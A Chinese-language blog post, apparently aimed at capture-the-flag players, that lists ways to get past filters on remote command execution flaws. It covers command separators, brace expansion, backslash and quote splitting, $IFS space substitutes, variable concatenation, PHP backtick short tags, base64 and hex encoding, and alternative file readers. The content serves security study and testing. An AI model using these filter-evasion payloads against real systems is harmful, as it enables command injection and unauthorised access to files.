欢迎光临散文网 会员登陆 & 注册

RCE绕过手册

2023-04-03 20:16 作者:Yukito_online  | 我要投稿

基础知识:

  • Windows中的命令拼接符号:

  1. &&:左边的命令执行成功,右边的才执行

  2. &:简单的拼接

  3. |:上一条命令的输出,作为下一条命令参数

  4. ||:左边的命令执行失败,右边的才执行

  • Linux中的命令拼接符号:

  1. ;:没有任何逻辑关系的连接符

  2. &&:左边的命令执行成功,右边的才执行

  3. |:上一条命令的输出,作为下一条命令参数

  4. ||:左边的命令执行失败,右边的才执行

  5. &:后台任务执行,与nohup命令功能差不多


花括号

{}
在Linux bash中还可以使用{OS_COMMAND,ARGUMENT}来执行系统命令
{cat,flag}

斜杠

路径符号 /
\是在正则等语法里面,表示后面跟的字符是正常字符,不需要转义。
也就意味着,我们可以在rce漏洞,过滤掉cat ls等命令时候,直接使用ca\t来实现绕过

空格过滤

< 、<>、%20(space)、%09(tab)、$IFS$9、 ${IFS}、$IFS等

一些命令分隔符

linux中:%0a(回车) 、%0d(换行) 、; 、& 、| 、&&、||
windows中:%0a、&、|、%1a(一个神奇的角色,作为.bat文件中的命令分隔符)



黑名单绕过

拼接绕过

比如:a=l;b=s;$a$b
利用偶读拼接方法绕过黑名单:a=fl;b=ag;cat $a$b
利用.拼接绕过(sy.(st).em)
使用内敛执行代替system


等效替换

echo `ls`;

echo $(ls);

?><?=`ls`;

?><?=$(ls);

<?=`ls /`;?>   等效于<?php echo `ls /`; ?>

都等效于<?php echo ls;?>


编码绕过

[root~]# echo 'Y2F0wqAK' | base64 -d 1.txt
-d是解码,是base64解码
xxd - r -p可以转换16进制,同样用户管道符之后。


单引号和双引号绕过

比如:ca‘‘t flag 或ca""t flag


利用Shell 特殊变量绕过

例如,第一个参数是1,第二个参数是2。而参数不存在时其值为空。
$@表示
比如:ca$@t fla$@g或者ca$1t fla$2g


linux中直接查看文件内容的工具

more:一页一页的显示档案内容

less:与 more 类似

head:查看头几行

tac:从最后一行开始显示,可以看出 tac 是 cat 的反向显示

tail:查看尾几行

nl:显示的时候,顺便输出行号

od:以二进制的方式读取档案内容

vi:一种编辑器,这个也可以查看

vim:一种编辑器,这个也可以查看

sort:可以查看

uniq:可以查看

file -f:报错出具体内容


总结:

一个不行那就换另一个试试,看谁笑到最后


RCE绕过手册的评论 (共 条)

分享到微博请遵守国家法律